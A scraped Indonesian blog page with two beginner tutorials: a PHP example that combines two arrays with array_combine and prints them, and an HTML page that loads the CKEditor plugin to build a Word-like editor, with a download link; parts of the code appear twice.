foreach ($newArray as $key => $value) {
echo "$key - <strong>$value</strong> <br />";
}
?>
$newArray adalah penggabungan array dari kedua array yang dibuat, jadi ketika ditampilkan pada browser akan seperti berikut
silahkan dikembangkan dengan menggunakan database akan lebih seru :) . semoga bermanfaat
array.php
<?php
$array1 = array("1","2","3","4");
$array2 = array("Jeep","Liberty","Black","2005");
$newArray = array_combine($array1, $array2);
foreach ($newArray as $key => $value) {
echo "$key - <strong>$value</strong> <br />";
}
?>
$newArray adalah penggabungan array dari kedua array yang dibuat, jadi ketika ditampilkan pada browser akan seperti berikut
Saturday, January 4, 2014
Membuat Editor Seperti MS. Word
kali ini saya akan membahas tentang cara membuat editor seperti MS. Word, akan kita gunakan plugin CKEDITOR. silahkan download pada link yang tersedia dibawah artikel ini.
berikut kodenya
<html>
<head>
<title></title>
<link rel="stylesheet" href="ckeditor/contents.css" />
<script type="text/javascript" src="ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea id="editor"></textarea>
<script type="text/javascript" src="ckeditor/editor.js"></script>
</body>
</html>
http://www.4shared.com/zip/xYq5x45fce/ckeditor.html
berikut kodenya
<html>
<head>
<title></title>
<link rel="stylesheet" href="ckeditor/contents.css" />
<script type="text/javascript" src="ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea id="editor"></textarea>
<script type="text/javascript" src="ckeditor/editor.js"></script>
</body>
</html>
http://www.4shared.com/zip/xYq5x45fce/ckeditor.html
Subscribe to:
Posts (Atom)